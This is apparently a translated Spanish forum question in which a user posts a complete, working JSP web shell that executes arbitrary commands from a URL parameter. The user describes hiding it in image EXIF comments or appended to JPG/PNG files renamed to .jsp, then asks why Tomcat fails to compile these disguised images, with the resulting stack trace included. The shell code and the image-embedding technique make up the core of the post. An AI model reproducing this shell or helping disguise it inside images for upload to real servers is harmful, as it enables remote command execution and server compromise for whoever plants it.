Tengo el servidor ejecutando Tomcat / 7.0.52 en Ubuntu. Estoy intentando crear una imagen con el shell JSP.
Escribí el shell así:
<%@ page import="java.io.*" %>
<%@ page import="java.util.*" %>
<%@ page import="javax.servlet.*" %>
<%@ page import="javax.servlet.http.*" %>
<%
String cmd = request.getParameter("cmd");
String output = "";
Process p = null;
if (cmd != null) {
String s = null;
try {
p = Runtime.getRuntime().exec(cmd);
BufferedReader sI = new BufferedReader( new InputStreamReader(p.getInputStream()));
while((s = sI.readLine()) != null ) {
out.println(s);
}
}
catch (IOException e) { e.printStackTrace();}
}
%>
Si guardo este código como 1.jsp
, lo coloco en el servidor y voy a 127.0.0.1:8080/1.jsp?cmd=ls
, entonces obtendré una respuesta correcta.
Luego creé dos imágenes: t.png
y k.jpg
.
Escribí en la sección de comentarios de las imágenes mi código de shell utilizando Exif Pilot. Luego los puse en mi servidor, cambié el nombre como t.png.jsp
y k.jpg.jsp
y sucedió algo malo.
También intenté escribir mi shell en el final de las imágenes. Y todavía nada.
127.0.0.1:8080/k.jpg.jsp?cmd=ls
O
127.0.0.1:8080/k.jsp?cmd=ls
Recibo este error:
HTTP Status 500 - No se puede compilar la clase para JSP
escriba el informe de excepción
mensaje No se puede compilar la clase para JSP
descripción El servidor encontró un error interno que lo impidió de cumplir con esta solicitud.
excepción
org.apache.jasper.JasperException: no se puede compilar la clase para JSP org.apache.jasper.JspCompilationContext.compile (JspCompilationContext.java:672) org.apache.jasper.servlet.JspServletWrapper.service (JspServletWrapper.java:357) org.apache.jasper.servlet.JspServlet.serviceJspFile (JspServlet.java:390) org.apache.jasper.servlet.JspServlet.service (JspServlet.java:334) javax.servlet.http.HttpServlet.service (HttpServlet.java:727)
causa raíz
java.io.UTFDataFormatException: Byte no válido 1 de 1 byte UTF-8 secuencia. org.apache.jasper.xmlparser.UTF8Reader.invalidByte (UTF8Reader.java:621) org.apache.jasper.xmlparser.UTF8Reader.read (UTF8Reader.java:486) org.apache.jasper.xmlparser.XMLEncodingDetector.load (XMLEncodingDetector.java:1017) org.apache.jasper.xmlparser.XMLEncodingDetector.skipString (XMLEncodingDetector.java:968) org.apache.jasper.xmlparser.XMLEncodingDetector.scanXMLDecl (XMLEncodingDetector.java:1224) org.apache.jasper.xmlparser.XMLEncodingDetector.getEncoding (XMLEncodingDetector.java:124) org.apache.jasper.xmlparser.XMLEncodingDetector.getEncoding (XMLEncodingDetector.java:112) org.apache.jasper.compiler.ParserController.determineSyntaxAndEncoding (ParserController.java:337) org.apache.jasper.compiler.ParserController.doParse (ParserController.java:190) org.apache.jasper.compiler.ParserController.parseDirectives (ParserController.java:119) org.apache.jasper.compiler.Compiler.generateJava (Compiler.java:193) org.apache.jasper.compiler.Compiler.compile (Compiler.java:373) org.apache.jasper.compiler.Compiler.compile (Compiler.java:353) org.apache.jasper.compiler.Compiler.compile (Compiler.java:340) org.apache.jasper.JspCompilationContext.compile (JspCompilationContext.java:657) org.apache.jasper.servlet.JspServletWrapper.service (JspServletWrapper.java:357) org.apache.jasper.servlet.JspServlet.serviceJspFile (JspServlet.java:390) org.apache.jasper.servlet.JspServlet.service (JspServlet.java:334) javax.servlet.http.HttpServlet.service (HttpServlet.java:727)
nota El seguimiento completo de la pila de la causa raíz está disponible en Apache Tomcat / 7.0.52 (Ubuntu) registros. Apache Tomcat / 7.0.52 (Ubuntu)
Para ser claro, este método con sección de comentarios y Exif Pilot funcionó bajo Apache httpd y PHP shell.
¿Cómo crear un shell de imagen en un servidor java?